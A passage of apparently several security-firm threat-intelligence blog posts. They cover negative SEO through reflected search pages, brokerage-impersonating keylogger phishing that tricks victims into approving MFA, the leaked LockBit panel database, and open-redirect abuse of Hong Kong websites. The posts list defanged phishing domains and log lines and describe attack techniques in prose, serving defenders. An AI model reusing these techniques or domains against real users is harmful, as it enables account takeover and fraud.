As seen above, when searching the site, we observed indexed search results on Google containing unrelated, external links. If you were to click on any of these search results, you would be directed to the retailer site’s built-in search results page, stating that “No relevant result was found”, with the search query as the title. This ultimately results in the indexing of the search result page with the user-controlled content (the “product name”) (e.g.,  “金华怎么找**服务联系方式｛小姐预约网址ｓｍ４５６７．ｖｉｐ****｝金华找****服务电话√金华找******务√金华找小姐全套按摩一条龙服务√金华找********.2511”) in Google’s search results (see Figure 1).

Figure 2: Visual of sm4567[.]vip

Further perusal of the webpage (sm4567[.]vip) suggests it to be related to adult content; something you would not legitimately find on the retailer’s site. This leads to our further assessment that the search result is fake and not related to the retailer, despite its indexing.

Pivoting further, we observed over 200 similar referrer URLs containing a link to the retailer with the corresponding HTTP request containing their intended “search queries” on their websites. This inherently allows (Google and other search engine) crawlers to follow-through, leading to the indexing of the fake search results. This tactic aims to associate the retailer with inappropriate content, potentially damaging its brand reputation and search ranking. 

Breaking down the 200+ referrer URLs, we observe approximately 50% to be adult-related content, 10% to be gambling-related, 1% to be drug-related – indicating the type of content associated to be highly questionable and potentially damaging to the retailer’s brand reputation and site ranking. We further observed that some domains were generated by Domain Generation Algorithms (DGAs) – a technique leveraged by malware to generate a large number of randomised domain names. Furthermore, we assessed a majority of these sites to represent content farms – websites that generate large volumes of low-quality content, often prioritizing quantity over substance and employing manipulative SEO tactics to attract traffic rather than providing genuine value to users. These content farms were observed to concurrently refer multiple legitimate domains.

Figure 3: Content farms referring multiple regional brands including Hong Kong and Korean brands

Notably, through further analysis we observed repeated mentions of a Telegram group, “Tson888” in the indexed search results. The mentions often include a call-to-action contact TG @tson888 for SEO ranking services and gambling promotion technical support. Through further pivoting, we assessed the Telegram to be related to the active negative SEO campaigns, with victims impacting spanning beyond Hong Kong to Taiwan and Japan.

Figure 4: Malicious site (luw2qt[.]vip) mentioning @tson888 Telegram and Hong Kong retailer
Figure 5: TG @tson888 mentioned on search results of various sites across Taiwan, Japan, and Hong Kong

Exploiting Search Engine Web Crawlers for Malicious Purposes

Through further analysis of the 200+ referrer URLs, it was discovered that the threat actors behind these sites primarily leveraged Googlebot’s[2] crawling behaviour to facilitate the HTTP requests for automated “search results”; effectively weaponizing the crawler to drive traffic to their malicious or spam-laden pages. These manipulated search results, generated through the exploitation of Googlebot, were then indexed by Google, potentially leading to their undeserved appearance in search rankings and negatively impacting the visibility of legitimate websites. The attackers craft URLs that trigger Googlebot to execute specific searches on the retailer’s website. These searches, containing malicious keywords, are then indexed by Google, polluting the retailer’s search results.

Though not observed in this case, malicious actors are also known to deploy fake Googlebots[3], which are programs disguised as legitimate Google crawlers (Googlebot) to access and potentially harm websites. They mimic Googlebot’s user agent string and IP address to bypass security measures and can perform malicious activities such as scraping content. In the context of negative SEO, these fake bots can overload a target website with requests, causing denial-of-service attacks, or scrape and republish content to create duplicate content issues, harming search engine rankings. They can also inject spam links into websites, associating the target with low-quality content and damaging its reputation and search engine visibility.

Logs of referrer URL (bxy.aa66779[.]com) indicating use of Googlebot/2.1:

66.249.68[.]38 - - [31/May/2025:09:36:14 +0800] "OPTIONS /***?keyword=%E8%8B%B1%E5%9B%BB%E7%AB%99%E7%B2%BE%E5%85%BB%E5%8F%B7%E3%80%90TG:aa2352 2%E3%80%91pom7j HTTP/1.1 500 3846 "https://bxy.aa66779[.]com/" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.7103.92 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" "66.249.68.38" sn=www[.]****[.]com ut="0.014" uri="/500ServerError.html" request_uri:***/zh/search_a?keyword=keyword=%E8%8B%81%E5%9B%8DB%E7%AB%99%E7%82%BE%E5%85%BB%E5%8F%B7%E3%80%90TG:aa23522%E3%80%91pom7j" upstream_addr="192.168.101[.]170:9001" upstream_status="500" http_referrer="https://bxy.aa66779[.]com/"

It is noted that other web crawlers were further observed, including Yahoo’s Slurp and Baidu’s Baiduspider. For example, the referrer URL (jianlongair[.]com) was observed to use the Baiduspider crawler:

118.166.223[.]69 - - [12/Jun/2025:22:46:03 +0800] "GET /***/zh/search_a?keyword=%E8%B6%B3%E7%90%83%E9%A2%84%E6%B5%8B%E8%BD%AF%E4%BB%B6-%EF%BC%8812399.CC%EF%BC%89-%E8%B6%B3%E7%90%83%E9%A2%84%E6%B5%8B%E8%BD%AF%E4%BB%B6- HTTP/2.0" 400 37835 "hxxp[:]//jianlongair[.]com/" "Mozilla/5.0 (compatible; Baiduspider/2.0; +hxxp[:]//www.baidu[.]com/search/spider.html)" "118.166.223.69,34.36.92.9" sn="www.****.com" ut="-" uri="/***/zh/search_a" location="TW" request_uri="/***/zh/search_a?keyword=%E8%B6%B3%E7%90%83%E9%A2%84%E6%B5%8B%E8%BD%AF%E4%BB%B6-%EF%BC%8812399.CC%EF%BC%89-%E8%B6%B3%E7%90%83%E9%A2%84%E6%B5%8B%E8%BD%AF%E4%BB%B6-" upstream_addr="-" upstream_status="-" http_referrer="hxxp[:]//jianlongair[.]com/" http_cookie="-" request_time="0.453" time_local_with_ms="12/Jun/2025:22:46:03.556 +0800"

Blackhat SEO -as-a-Service

Dark web marketplaces offer a range of blackhat SEO tools and services. These offerings often include automated link-building software for generating spam backlinks, content scraping and spinning tools for creating “unique” content through plagiarism, and keyword stuffing tools for manipulating on-page optimization. More aggressive tactics like negative SEO services, designed to sabotage competitors, and even website hacking tools are also available. This underground market highlights the ongoing battle between search engines and those seeking to manipulate their algorithms for illicit gain, a constant threat that website owners need to be aware of and protect themselves against, especially in competitive online landscapes.

Figure 6: Black / Gray Advertising Campaigns to facilitate malicious advertising (malvertising)
Figure 7: SEO Backlinking tool for sale
Figure 8: Compiled list of 400+ tools useful for SEO poisoning, proxying, and other malicious activities
Figure 9: Providing Optimised SEMRUSH (legitimate marketing tool) Accounts for SEO

Conclusion

Negative SEO poses a serious threat to businesses operating online, given its impact on search engine rankings, online reputation, and potentially, revenue generation. A successful negative SEO campaign can significantly damage a website’s visibility in search results, leading to decreased organic traffic, lost customers, and a tarnished brand image. The financial repercussions can be substantial, especially for businesses heavily reliant on online visibility for sales and lead generation. Moreover, the time and resources required to recover from a negative SEO attack can further strain a business’s operations and budget.

By understanding the tactics employed by malicious actors and implementing the mitigation strategies outlined above, you can significantly reduce your risk and protect your online presence. Staying vigilant and proactive is crucial in the ongoing battle against those seeking to exploit search engine algorithms for illicit gain.

Recommendations

Protecting your business from negative SEO requires a proactive and multi-faceted approach encompassing regular monitoring, robust security measures, and prompt action.

Security Hardening

  • Website Security: To mitigate the risk of negative SEO attacks exploiting your website’s search functionality, implement a mechanism to prevent user-supplied search queries from being directly reflected in search result page titles. Instead, utilise standardised titles for search results that do not incorporate user input, thus hindering the indexing of malicious search queries and associated links by search engine crawlers.
  • Bot Mitigation: Implement strategies to block fake Googlebots and other malicious bots. Verify User-Agents, perform reverse DNS lookups, check IP addresses against Google’s published lists, and analyse log files for suspicious behaviour. Consider rate limiting, CAPTCHAs, and bot management services for advanced protection.
  • Robots.txt Optimization: Configure your robots.txt file to prevent search engines from indexing sensitive content like internal search results pages.
    • Modifying your robots.txt file to block indexed in-site search results (e.g., ​Disallow: /search/) will still be partially indexed.
    • To eliminate these Google search results associating with your site, add a ‘noindex’ tag to the search results page, and unlock from robots.txt so Google can crawl and see these.  

Monitoring and Detection

  • Backlink Monitoring: Regularly audit your backlink profile using tools like Ahrefs, SEMrush, or Google Search Console. Identify and disavow any suspicious or spammy links that could be part of a negative SEO attack.
  • DNS Monitoring: Monitor DNS records for unauthorized changes, paying close attention to A, CNAME, MX, NS, and SOA records. Look for unusual activity such as traffic redirection, slow DNS resolution, or spikes in DNS queries. Implement DNSSEC and enforce strong password policies for your DNS provider accounts.
  • Website Traffic and Rankings: Utilize Google Search Console and other analytics platforms to track website traffic and search rankings. Sudden drops or unusual fluctuations could indicate a negative SEO campaign.
  • Content Monitoring: Regularly review your website content for any unauthorized modifications, injected spam, or other signs of compromise.
  • Social Media Monitoring: Monitor your brand’s social media presence for negative reviews, misinformation campaigns, or other attempts to damage your online reputation.

Response and Recovery

  • Reporting and Legal Recourse: If you suspect a negative SEO attack, report it to Google and other relevant search engines. Consult with legal counsel to explore options for pursuing action against the perpetrators.

Further information

Feel free to contact us at [darklab dot cti at hk dot pwc dot com] for any further information.

Lurking Behind the Scenes: Keylogger Sites Impersonate Trusted Brokerage Firms for Account Takeover

Posted on by darklabhk

In an era where digital security is rapidly evolving, cybercriminals are adapting just as quickly – finding new ways to exploit trust and user behaviour. Recent campaigns targeting stock trading accounts have revealed a critical truth: attackers are no longer just stealing credentials – they are orchestrating full account takeovers to commit high-impact financial fraud.

These attacks are financially motivated, aiming to take over user accounts and execute fraudulent trades for profit. This blog explores how threat actors are lurking behind the scenes – using keylogger sites that impersonate trusted brokerage firms to silently capture user input and hijack sessions. As the financial services industry continues to digitize, understanding these emerging threats is more important than ever.

The “Evil in Between” – Smishing Leads to Account Takeover

Since May 2025, Dark Lab has observed SMS phishing (“smishing”) activity impersonating various brokerage firms to target Hong Kong users. This includes the discovery of over 70 newly registered domains impersonating InteractiveBrokers via our continuous domain monitoring services. These messages are crafted to appear as legitimate communications from trusted securities brokerage firms such as InteractiveBrokers and Charles Schwab – urging users to update their tax-related form(s) (e.g., W-8BEN) to avoid service suspension.

Figure 1: Sample SMS message impersonating InteractiveBrokers

Upon clicking the link, the victim is directed to the phishing site, in this case impersonating InteractiveBrokers:

Figure 2: InteractiveBrokers Phishing Site (ibkrlogc[.]top)

The phishing site poses as an exact replica of InteractiveBroker’s login portal, deceiving the victim into trusting the site and inputting their username and password combination. It closely mimics not only the visual layout of the website, but further replicates the same login flow (e.g., provide credential, then redirected to page requesting multi-factor authentication). In some cases, the phishing site was observed to further redirect to another unrelated site impersonating InteractiveBrokers (e.g., interactivebrokers.2391[.]ltd) which we assessed was an attempt to prevent detection.  Analysis of the phishing sites revealed them to be operating as a keylogger, intended to capture and record a users’ keystrokes.

Figure 3: Keylogging functionality

When a user submits their valid username and password, the site captures the users’ keystrokes which triggers an automated process to redirect the obtained credentials to login via the legitimate InteractiveBrokers portal. However, in order to complete their login, the threat actor requires the victim to authenticate their login – via the multi-factor authentication (“MFA”) verification notification issued via the InteractiveBrokers mobile application.

To bypass MFA verification, the attacker has set up the phishing site to prompt the user to ‘verify’ their login attempt via their actual InteractiveBrokers mobile app – directly impersonating the actual InteractiveBrokers login process – after supplying their credentials. The user proceeds to check their InteractiveBrokers mobile app and subsequently clicks to verify the login, assuming the MFA  notification is intended for their login attempt – instead resulting in the threat actor’s successful login and subsequent account takeover.

Figure 4: Phishing site prompt to complete two-factor authentication
Figure 5: Multi-factor Authentication Notification on Victim Device
Figure 6: InteractiveBrokers Mobile App – Request to Authorise Login
Figure 7: Phishing Attack Diagram

A Modern Take on the Classic “Pump and Dump” Scheme?

Typically, phishing attacks are designed to harvest credentials – usernames, passwords, or even multi-factor authentication codes – which are then sold or reused for broader access. But in this case, we’re seeing a far more calculated and opportunistic approach. Instead of simply stealing login details, attackers are hijacking authenticated sessions and directly exploiting access to stock trading accounts.

Once inside, these accounts are used as tools in “pump-and-dump” schemes – a form of market manipulation where attackers artificially inflate the price of low-volume stocks by placing coordinated buy orders across multiple compromised accounts. These fraudulent trades are made on the day of access close to the daily trading hour closure (e.g., close to 4:00PM HKT) – making it difficult for victims to become aware of the unauthorised trade and contact the relevant authorities in time to remediate (e.g., cancel) the transaction.  After driving up the price, they sell off their own holdings at a profit, leaving legitimate users with losses as the stock value crashes. This weaponisation of hijacked accounts marks a dangerous evolution in phishing tactics – one that blends social engineering with financial fraud at scale.

Figure 8: “Pump and Dump” Scheme at Play

Just How Widespread Is This?

While this blog focuses on the InteractiveBrokers impersonation campaign, we emphasize that this is not an isolated incident. Rather, it is part of a broader, opportunistic, and widespread attack pattern targeting various securities brokerage firms in Hong Kong.

Figure 9: Phishing sites impersonating Bright Smart Securities, Shi Rui Jin Rong, Futu Securities, Charles Schwab, Huatai Securities, SoFi
Phishing DomainBrand Impersonated
yc1113[.]comBright Smart Securities
yc1104[.]comBright Smart Securities
yc1103[.]comBright Smart Securities
yc1102[.]comBright Smart Securities
yc45742[.]comBright Smart Securities
yc46542[.]comBright Smart Securities
yc7897456151[.]comBright Smart Securities
yc94452[.]comBright Smart Securities
yc68888[.]comBright Smart Securities
yc89999[.]comBright Smart Securities
yczq2727[.]comBright Smart Securities
yczq626[.]comBright Smart Securities
yczq223[.]comBright Smart Securities
ycxha[.]shopBright Smart Securities
yccom[.]shopBright Smart Securities
yczjhk[.]comBright Smart Securities
security-center-schwab[.]23601[[.]]ripCharles Schwab
schwabhk[[.]]netCharles Schwab
guangdazq[.]vipEverBright
futubul[[.]]life/hkFutu
futunnhkg[[.]]cc/taxFutu
futunn-hkg[[.]]top/taxFutu
futubull[.]life/hkFutu
futunn-hkg[.]top/taxFutu
futu[.]it[.]com/hkFutu
futunn-hk[.]top/taxFutu
futunnl[.]sbs/hkFutu
futunn[.]sbs/taxFutu
futuhk[.]top/hkFutu
huatai8899[.]vipHuatai
huatai215[.]vipHuatai
huatai7898[.]vipHuatai
yagaskilz[.]comSoFi
webdock[.]cloudSoFi
sofi-banking[.]comSoFi
login-csx[.]pages[.]devSoFi
sofibank[.]ccSoFi
login3-ejh[.]pages[.]devSoFi
s0fi[.]onlineSoFi
sofie[.]pages[.]devSoFi
4everland[.]appSoFi
interactivebrokers[.]8148[[.]]ltdInteractiveBrokers
interactivebrokers[.]1014[.]ltdInteractiveBrokers
hk-ibkr[[.]]netInteractiveBrokers
ibkrlogc[[.]]topInteractiveBrokers
ibkr-rm[[.]]comInteractiveBrokers
interactivebrokers-hk[.]icuInteractiveBrokers
ibkrlne[.]infoInteractiveBrokers
ibkret[.]netInteractiveBrokers
ibkrbms[.]netInteractiveBrokers
hk-ibkr[.]netInteractiveBrokers
hkibkr[.]netInteractiveBrokers
ibkrhk[.]netInteractiveBrokers
interactivebrokerss[.]netInteractiveBrokers
moibkr[.]netInteractiveBrokers
ibkrsg[.]netInteractiveBrokers
ibkr-dse-gpt[.]onlineInteractiveBrokers
hk-ibkr[.]orgInteractiveBrokers
hkibkr[.]orgInteractiveBrokers
moibkr[.]orgInteractiveBrokers
ibkrsg[.]orgInteractiveBrokers
interactivebrokers-us[.]shopInteractiveBrokers
interactivebrokers-hk[.]shopInteractiveBrokers
ibkrmg[.]siteInteractiveBrokers
ibkrlni[.]siteInteractiveBrokers
ibkrlogin[.]topInteractiveBrokers
interactivebroker[.]topInteractiveBrokers
ibkrlogi[.]topInteractiveBrokers
hk-ibkr[.]topInteractiveBrokers
ibkrhk[.]topInteractiveBrokers
ibkrlogc[.]topInteractiveBrokers
ibkrlogm[.]topInteractiveBrokers
uibkr5[.]topInteractiveBrokers
ibkrloi[.]topInteractiveBrokers
5ibkr0[.]topInteractiveBrokers
ibkr-help[.]topInteractiveBrokers
ibkrlon[.]topInteractiveBrokers
interactivebrokeris[.]topInteractiveBrokers
ibkrb2[.]topInteractiveBrokers
ibkrz[.]topInteractiveBrokers
ibkrmod[.]topInteractiveBrokers
ibkrgin[.]topInteractiveBrokers
ibkr-hk[.]topInteractiveBrokers
ibkr-mbq[.]topInteractiveBrokers
ibkrmg[.]topInteractiveBrokers
ibkr-nrb[.]topInteractiveBrokers
ibkr-uec[.]topInteractiveBrokers
ibkr-yyk[.]topInteractiveBrokers
ibkr-zvx[.]topInteractiveBrokers
ibkrlni[.]topInteractiveBrokers
interactivebrokerls[.]topInteractiveBrokers
interactivebrokersss[.]topInteractiveBrokers
interactivebrokers[.]vipInteractiveBrokers
ibkrmor[.]vipInteractiveBrokers
hk-ibkr[.]xyzInteractiveBrokers
ibkr[.]xyzInteractiveBrokers
moibkr[.]xyzInteractiveBrokers
ibkr-api[.]xyzInteractiveBrokers
ibkr-mgr[.]xyzInteractiveBrokers
ndcdyn[.]interactivebrokers[.]com[.]sso-login[.]spaceInteractiveBrokers
ndcdyn[.]interactivebrokers[.]com[.]sso-login[.]inkInteractiveBrokers
ndcdyn[.]interactivebrokers[.]com[.]sso-login[.]workInteractiveBrokers
ibkrapp02[.]comInteractiveBrokers
ibkrapp07[.]comInteractiveBrokers
ibkr-global[.]orgInteractiveBrokers
ibkrmoo[.]topInteractiveBrokers
ibkrusa-a[.]topInteractiveBrokers
com-interactivebrokerseo[.]cfdInteractiveBrokers
com-interactivebrokerser[.]cfdInteractiveBrokers
com-interactivebrokersio[.]cfdInteractiveBrokers
ndcdyn[.]interactivebrokers[.]com[.]sso-login[.]clubInteractiveBrokers
ndcdyn[.]interactivebrokers[.]com[.]sso-login[.]xyzInteractiveBrokers
interactivebrokers[.]8148tdInteractiveBrokers
interactivebrokers[.]1014[.]ltdInteractiveBrokers
ibkr-rm[.]comInteractiveBrokers
ibkrmg[.]lolInteractiveBrokers
ibkrmog[.]latInteractiveBrokers
ibkrlgin[.]latInteractiveBrokers
ibkrlog[.]ccInteractiveBrokers

Conclusion

This attack highlights how modern threats rely less on breaking systems and more on bending user behaviour to the attacker’s will. By deploying keylogger sites that impersonate legitimate brokerage platforms, threat actors are silently capturing credentials and leveraging real-time user actions – such as MFA approvals – to gain full access to trading accounts.

These tactics are not isolated; similar campaigns have been observed impersonating other websites and e-commerce platforms, such as Carousell. The use of hijacked accounts in pump-and-dump schemes marks a dangerous evolution in financial cybercrime – one that blends social engineering, technical stealth, and market manipulation. As the financial services industry continues to modernize, it must invest in layered defences, phishing detection, and user education to stay ahead of these increasingly sophisticated threats. In the end, it’s not just about protecting credentials – it’s about protecting trust.

Recommendations

For Individuals

  • Be cautious with SMS links: Avoid clicking on links in unsolicited messages, especially those urging urgent action related to financial accounts.
  • Verify before you trust: Always access brokerage platforms by typing the URL directly or using a trusted app – not through links in messages.
  • Enable device-bound passkeys: Where possible, use passkeys that are tied to a specific device and require biometric verification.
  • Watch for unusual prompts: Be sceptical of unexpected MFA prompts or login verifications.
  • Monitor account activity: Set up alerts for logins, trades, and fund transfers to detect unauthorized activity early.
  • Report suspicious messages: Notify your brokerage firm if you receive suspicious communications claiming to be from them. If you attempted logon via a suspicious site, immediately change your password.

For Financial Institutions

Preventive Measures:

  • Use short-lived access tokens: Limit token lifespan (e.g., 15–30 minutes) to reduce the risk window if a token is compromised.
  • Bind tokens to client context: Associate tokens with IP address, device fingerprint, or User-Agent to prevent reuse from different environments.
  • Store tokens securely: Use HTTP-only, SameSite cookies instead of localStorage to protect against XSS and CSRF attacks.
  • Enforce secure transmission: Require HTTPS for all traffic and apply Secure and Strict-Transport-Security headers to prevent token leakage.
  • Added layer of MFA for new devices: Require an added layer of authentication (e.g., both mobile and email verification) for login attempts from new devices and/or IP addresses.
  • Trigger step-up authentication: Require re-authentication or biometric verification for high-risk actions like trading or fund transfers.
  • Take down phishing infrastructure: Work with threat intelligence providers and law enforcement to identify and dismantle phishing sites quickly.
  • Educate users on phishing tactics: Train users to recognize and report phishing attempts, especially those impersonating financial institutions.
  • Timeout limit for logon sessions: Enforce a timeout limit for each login session (e.g., 15 minutes) to minimise the window of opportunity for attackers to exploit taken over accounts.

Detective Measures:

  • Continuous Brand Reputation Monitoring: 24×7 young domain monitoring to proactively uncover potential phishing campaigns impersonating your organisation.
  • Monitor for anomalous behaviour: Detect unusual login patterns such as rapid IP switching, logins from new geographies, login attempts to multiple accounts via the same IP within a short period of time, or abnormal trading activity.
  • Maintain a token denylist: Revoke access tokens immediately when suspicious activity is detected or a session is flagged as compromised.
  • Log and audit token usage: Track token activity and integrate with SIEM systems to alert on suspicious behaviour or token reuse.

Further information

Feel free to contact us at [darklab dot cti at hk dot pwc dot com] for any further information.

Don’t do crime CRIME IS BAD – LockBit Ransomware Hacked, Exposing Operational Data

Posted on by darklabhk

LockBit really can’t catch a break. Following a year of law enforcement disruptions and loss of affiliate base, the world mostly recently witnessed one of the most notorious Ransomware-as-a-Service (RaaS) gangs hit by yet another setback – they’ve been hacked. On a gloomy Thursday morning, our analysts awoke to news of LockBit’s hack – and immediately snapped into action. Not only was this crucial given the many victims we have helped contain LockBit-attributed incidents, but it posed an excellent opportunity to gain insights into the RaaS’ inner workings.

This blog summarises our key takeaways from our analysis of LockBit’s leaked database.

So, what happened?

On 7 May, LockBit’s dedicated leak site was modified, replacing their usual display of victim listings with a plain message, and link to a ZIP archive curiously named “paneldb_dump.zip”.

LockBit’s leak site defaced by unknown actor

The archive contained one single “paneldb_dump.sql”, a full dump of the SQL database in a file, obtained from LockBit’s affiliate panel’s MySQL database.

Upon downloading the leaked files, we observed the following operational data disclosed:

  • Bitcoin addresses – contained 59,975 unique bitcoin addresses
  • Attack builds – disclosed specific malware created by affiliates, including respective public keys, and in some cases the corresponding victims’ name(s)
  • Configurations – specifying technical parameters for configuring encryption per ransomware strain (e.g., for ESXi variant – which ESXi servers should be skipped and what files should be encrypted)
  • Victim Negotiations – complete chat history between LockBit and victims, including the links to sample stolen data and tree of stolen data (though most links are expired)
  • Users – list of 75 administrators and affiliates with access to the affiliate panel, including their plaintext passwords

Assessing the Impact on Existing Victims

Our first priority when analysing the leak was to determine the scope and impact to our existing clients previously hit by LockBit. To do so, we first performed a check of the builds table to identify any relevant victim mentions. We then further referenced the chats table for any additional mentions. Upon identifying relevant victims, we rapidly notified them of the severity of the exposure and how they can respond to further safeguard their information.

Our Key Observations from Leak Analysis

1. Scope of impact was restricted to victims targeted by the LockBit 4.0 strain

Based on two key indicators, we ascertained the scope of the leakage was contained to the LockBit 4.0-related attacks. This is given (1) ransom notes referenced in the chat history(s) pertained to LockBit 4.0, and (2) the chats table which over 4.4K messages were dated between 19 December 2024 and 29 April 2025. This aligns exactly to the LockBit 4.0 public release on 19 December 2024.

2. Chat history revealed the initial access vectors used

Weak passwords. Though LockBit affiliates are known to leverage multiple means of intrusion (e.g., exploiting vulnerable servers, phishing, etc.) – weak passwords were the apparent theme across multiple chats. To quote one of the impacted victims, “So our vulnerability is simply that the password was too weak?” Yes.

Note: ironic, considering the leaked plaintext passwords of LockBit’s 75 admins and affiliates evidenced their own use of weak passwords (e.g., LockbitProud231, Weekendlover69)

3. Some victim domains contained in the ‘builds’ table were not observed on the leak site

Our initial hypothesis was that this corresponded to the 16 victims who paid the ransom. We validated this to be partially true, with only two (2) of the 16 victims who paid still listed on LockBit’s leak site. Additionally, per our recent LockBit-related incident experience, we observe cases in which compromised victims have not been listed on the leak site, which we suspect is due to the lack of data exfiltration performed during their intrusion.

4. Affiliates weaponise victims’ pre-installed AnyDesk instances for persistent access

LockBit, like many RaaS groups, leverage AnyDesk frequently for persistent, remote access to victim environments. In one instance, we observed a victim prompt the group to divulge how AnyDesk was used in their case. The negotiator confirmed that the affiliate leveraged multiple pre-installed (by the victim) AnyDesk instances to re-access multiple hosts.

5. Watch what you say, chats are ‘forever’

In at least one instance, the victim requested for LockBit to remove all chat content, to which LockBit confirmed they cannot clear the chat, only delete it. What we further observed is even if the chat was deleted, the content remains stored in their backend database. So, unless the database itself is deleted or scrubbed, any sensitive or leaked content shared within the chats remains stored on LockBit servers.

As an example, in one conversation we observed the victim gossiping with LockBit, and (whether jokingly or not) telling LockBit to attack their competitor’s site. A good reminder that anything shared on the Internet lives forever – in this case not only posing reputational damage, but potential implications regarding the victim’s negligence.

6. Victim invited to join the dark side

Referencing chats and builds, we observed something surprising. Following negotiations, one victim was offered the opportunity to join the RaaS affiliate network for USD 777. “Immediately after payment you will get access to LockBit ransomware control panel where you can create builds of Windows, ESXi, Linux encryptors and communicate with attacked victims.”

7. LockBit’s own OPSEC fails

Aside from their use of weak passwords, whilst the root cause has not been confirmed by LockBit operators, the panel was operating on a vulnerable version of PHP 8.1.2, susceptible to remote code execution vulnerability (CVE-2024-4577). This is not the first time LockBit’s operators have overlooked their attack surface exposure, as we recall their announcement regarding their February 2024 PHP-related “penetration test” intrusion:

This begs the question – is LockBit’s bug bounty program not active (or effective)? It is hard to tell, with LockBit only announcing the first bounty payout of USD 50K on 17 September 2022. Perhaps their standing payout incentive varying from “USD 1000 to 1 million” isn’t as incentivising as they had hoped…

LockBit’s announcement in 2022 re first bounty payout
LockBit’s bug bounty program

LockBit’s Response

On 8 May 2025, Rey shared their Tox conversation with LockBitSupp (LockBit developer). The operator claims that only the “light panel with auto-registration was hacked” – no decryptors, stolen victim data, or source code was compromised.[1] 

Rey and LockBitSupp’s Tox Conversation (English translation)

This messaging was further reflected in an announcement on LockBit’s updated leak site. It additionally stated that the root cause has been determined and a rebuild is in progress – with the full panel and blog functioning back to normal. We also see LockBitSupp asking the same question on all of our minds – who was behind the leak? Defaulting to their bug bounty tactics, the group is willing to pay for information on the attackers behind the hack.

LockBit’s updated leak site on 8 May (English translation)

Conclusion

Per LockBit’s response, the group show no signs of halting operations – in spite of their latest battle. Whilst it is unknown who these attackers “from Prague” could be, we observe speculation within the community that DragonForce may be at fault.[2] Though we do not observe evidence to support this claim, it is plausible given the assumption that newer ransomware players could be seeking to ‘take out the competition’ in a bid for talent (affiliates).[3],[4] Whether true or not, we continue to observe new RaaS groups emerging with novel differentiators – both in the tooling and affiliate structure – as a means to establish presence within the ecosystem. As the threat of ransomware continues to evolve, it is crucial that organisations maintain preparedness to prevent, detect, and contain ransomware-related threats.

Recommendations

  • Incident Response (IR) Plan and Drills – create a detailed IR plan outlining roles, responsibilities, and procedures for responding to ransomware incidents. Regularly conduct IR drills to ensure readiness and identify areas for improvement. Ensure to factor in consideration of legal and regulatory compliance, including Data Protection Regulations, Mandatory Reporting and Timelines, Documentation, and so forth.
  • Maintain Offline, Encrypted Backups – Regularly back up and encrypt critical data and ensure backups are stored offline or in a secure cloud environment. Periodically test backup restoration processes to ensure data can be recovered quickly and accurately.
  • Security Awareness Training – Conduct regular training sessions to educate employees about social engineering techniques (e.g., infostealers, phishing, etc.) and safe online practices.
  • Restrict Lateral Movement Opportunities – to minimise ransomware propagation via remote service protocols (e.g., RDP, SMB) and use of third-party remote monitoring and management (RMM) tools, such as AnyDesk.
  • Reduce your “low hanging fruit” – monitor, minimise, and maintain visibility of your attack surface exposure to proactively identify and remediate potential security weaknesses that may expose you to external threats. Detailed recommendations here.[5]
  • Behavioural Based Detection – identify, detect, and investigate abnormal activity and potential traversal of the threat actor across the network, such as ensuring coverage of Endpoint Detection and Response (EDR) tools on critical endpoints, including workstations, laptops and servers.

Further information

Feel free to contact us at [darklab dot cti at hk dot pwc dot com] for any further information.

Redirected, Taken Over, & Defaced: Breaking Down the Attacks Abusing Legitimate Hong Kong Websites

Posted on by darklabhk

Last week, we shared our observations regarding active attacks weaponising trusted Hong Kong domains to serve users to suspicious content for SEO manipulation purposes. Collectively, we have observed over 70 cases of open redirect attacks, web defacements, and/or subdomain takeovers in Hong Kong between January and April 2025. These attacks, specifically those related to online gambling content, are observed via open-source intelligence to be part of a wider trend impacting victims across the Asia Pacific.

In this part two of the series, we dive into the technical – breaking down how these techniques work, what technologies and vulnerabilities are often involved, and how you can prevent and defend against these threats.

Read Part One here: Redirected, Taken Over, & Defaced: Legitimate Hong Kong Websites Abused to Serve Users to Online Gambling and Adult Content

Open Redirects Weaponise Trusted Hong Kong Websites

This technique is not novel by any means; open redirection first garnered attention in the early 2000s as web applications began incorporating user-controllable data into redirection targets without proper validation. When the input is improperly validated, malicious actors may exploit this vulnerability by crafting URLs that redirect users to malicious sites – leveraging the trust of the original, legitimate (sub)domain. 

The typical attack flow is as follows:

  1. Register new domain to host malicious content 
  2. Compromise legitimate, trusted domains susceptible to open redirections
  3. Perform SEO manipulation to deliver the webpage, increasing user traffic to their malicious sites 
  4. User searches for intended site via a search engine, clicks on link shown in search results, and is redirected to the malicious site

Certain subdomains face higher risk of open redirection abuse. Login, registration, password resets, and checkout pages are a few examples. These pages naturally face higher likelihood of this abuse as redirection is an integral part of their workflows. Ensuring proper validation of redirect URLs on these pages is crucial to prevent potential exploitation.

1. Vulnerable or Misconfigured Web Applications

Threat actors often target PHP-based applications as it is one of the most widely used server-side scripting languages for web development. This allows for the ability to actively scan and exploit vulnerable PHP webapps at scale. Furthermore, PHP applications often suffer from common and easily exploitable misconfigurations that can expose servers to open redirect vulnerabilities. Part of the reason for this is that many PHP applications run on legacy code, that may not have been updated to follow modern security practices.

Case Study #1: Moodle

Notably, we have observed recurrent weaponisation of higher education domains, which we partially attribute to the fact that the widely used Moodle Learning Management System (LMS) platform is built in PHP. In the screenshots below, we highlight a recent case whereby a legitimate higher education website was abused to redirect to an illicit Indonesian online gambling site. This aligns with public reporting of an ongoing campaign targeting PHP servers with PHP backdoors and the GSocket networking tool to serve users to illicit Indonesian gambling sites.[1]

Figure 1: Redirection chain

Figure 2: edu.hk website abused to redirect to Indonesian online gambling site

Figure 3: edu.hk website observed to be vulnerable PHP-based Apache server

Figure 4: Backup redirection chains to ensure user is served to illicit gambling site

Case Study #2: WordPress

WordPress is another popular PHP-based application that often faces open redirect vulnerabilities (e.g., CVE-2024-4704 [2]), primarily given the use of third-party plugins and insufficient patch management. Recently, we identified a Hong Kong domain redirecting to YouTube videos. We assessed the likely root cause to be exploitation of known vulnerabilities impacting PHP to allow for redirects. We posit that this redirection to YouTube videos may have been motivated by traffic monetisation; whereby the threat actor may have joined an affiliate program or ad network to generate site visits in return for payment. 

Figure 5: Open redirects weaponising .hk domain to redirect users to YouTube videos
Figure 6: WordPress site abused for open redirect due to PHP vulnerabilities

Case Study #3: Vulnerable WordPress Plugin Leads to Web Defacement

